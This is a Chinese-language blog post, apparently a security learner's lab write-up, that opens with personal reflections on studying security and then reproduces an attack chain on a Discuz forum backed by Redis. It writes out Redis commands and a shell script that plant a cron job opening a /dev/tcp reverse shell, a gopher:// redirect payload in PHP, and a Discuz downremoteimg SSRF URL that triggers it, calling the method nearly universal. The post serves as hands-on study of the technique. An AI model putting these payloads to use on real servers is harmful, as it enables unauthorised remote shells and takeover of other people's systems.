不知不觉踏入安全已经有段时间了...这个过程的确很艰辛,很累,随着突发奇想的那一刻,决定了一直走下去,这期间几乎是没日没夜地去学习,忘记了时间,放弃了很多其他事情,学习之路真的不是那么简单,有时候甚至会很迷茫,不知该如何走下去了...
于此之间,也出现了那些给予过我帮助的人,在一个小团队氛围中也体验到了技术分享的乐趣,小伙伴们也十分热爱安全,正是因为有着同样兴趣、目标的我们,从网络世界的陌生人,逐渐变得熟悉,大家也都慢慢步入了正轨...
曾经立下的目标也暂时都实现了,一直在进步,一直会学习,毕竟人不努力一把,你都不知道自己有多大的潜力,还有,一定要保持当初那份热爱,问问自己到底为什么要学安全?保留住自己当初提交第一个漏洞时的那份喜悦、激动,保持初心...持续前进
偶然看到的那段触动心底的话,说出了多少人的心声
print("专注做点事情,至少对得起岁月光阴,让技术纯粹点") # 共勉
好了...闲聊到这吧.还有技术正题呢少侠hahaha
#001 环境搭建:
- Centos7(安装有apache,php,mysql,redis)
- 利用winscp把discuz的源码拖到var/www/html目录下:
- chmod -R 777 upload/ 改一下权限
- 然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写
- 但是查看权限是有的
- 经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:
- 我赶紧打开我的centos7敲了一波:setenforce 0
- 再次打开浏览器访问192.168.136.133/upload目录,全部正常了:
- 根据提示点击下一步,终于看到了熟悉的面孔
- 访问一波正常,到此环境搭建完成:
#002 漏洞复现操作:
- 本地操作利用计划任务反弹shell
复现环境:win7(装有nc),centos7-discuz+redis
- Win7开启nc监听:
- Centos7首先开启redis服务:
- 操作redis写计划任务反弹shell,在redis-cli中输入以下命令:
set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n" config set dir /var/spool/cron/ # 根据实际系统版本路径会不相同 config set dbfilename root save
- 回到win7中查看结果,成功接收到反弹的shell:
- 执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了
#003 公网服务器利用gopher协议来写计划任务:
- 先写一个shell脚本,输入一下命令,保存为shell.sh,并上传到centos7:
redis-cli -h $1 -p $2 flushall //可不写,实战中千万慎用,最好别写... echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
- bash命令执行shell.sh,看到ok代表执行成功
- win7用nc开启监听,回到win7查看返回结果,成功接收到反弹的shell
- 我们要抓取redis攻击tcp的数据包,可以使用socat端口转发。
- Socat命令进行端口转发,把本地6379收到的流量转发到本地2222端口上
- socat监听2222端口,抓取tcp数据包:
socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
- bash命令执行shell.sh脚本,并且带上127.0.0.1 2222
bash shell.sh 127.0.0.1 2222
- 可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log
- 利用redis_ssrf.py脚本转换1.log,生成gopher协议可支持的payload
- 将生成的payload放入公网的文件gopher.php中,内容如下
<?php header("Location:gopher://127.0.0.1:6379/_payload"); ?>
- 然后discuz访问payload
http://192.168.136.133/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.133.133/gopher.php?data=he2lo.jpg[/img]
Win7开启nc监听6666端口,就会反弹shell
此方法几乎通用,根据实际情况稍微调整一下即可,利用ssrf的协议还有其他的,例如dict等等,本文只是抛砖引玉,祝各位表哥端午快乐!